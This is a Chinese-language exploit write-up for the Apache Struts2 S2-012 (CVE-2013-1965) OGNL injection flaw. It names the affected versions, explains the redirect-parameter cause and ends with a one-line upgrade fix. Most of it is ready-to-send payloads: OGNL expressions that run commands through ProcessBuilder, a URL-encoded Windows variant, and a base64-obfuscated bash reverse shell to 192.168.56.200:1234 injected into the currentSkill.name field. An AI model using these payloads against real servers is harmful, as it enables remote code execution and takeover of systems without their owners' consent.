漏洞名称

S2-012(CVE-2013-1965) 远程代码执行

利用条件

Struts Showcase App 2.0.0 - Struts Showcase App 2.3.14.2

影响版本:Struts 2.1.0-2.3.13

漏洞原理

如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。

漏洞利用

POC1

命令中空格需要用","代替比如 cat /etc/passwd 需要改成 cat","/etc/passwd,ls -l需要改成ls","-l

poc需要进行特殊字符url编码或者全编码

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

image-20221230100722496

image-20221230100740076

image-20221230103900790

POC2

currentSkill.name=currentSkill.name=%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[500],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&currentSkill.description=aaaa

image-20221230101613293

windows环境下命令

cmd.exe", "/c", "whoami
currentSkill.name=currentSkill.name=%25%7B%23a%3D%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%7B%22cmd.exe%22%2C%20%22%2fc%22%2C%20%22whoami%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B500%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D&currentSkill.description=aaaa

反弹shell

命令空格需要用","代替比如 cat /etc/passwd 需要改成  cat","/etc/passwd
bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
bash","-c","{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
currentSkill.name=currentSkill.name=%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"bash","-c","{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[500],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&currentSkill.description=aaaa

image-20221230102445430

image-20221230102746969

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"bash","-c","{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
特殊字符编码后发送

image-20221230103432484

image-20221230103502964

修复建议

升级到 Struts 2.3.14.3

参考文章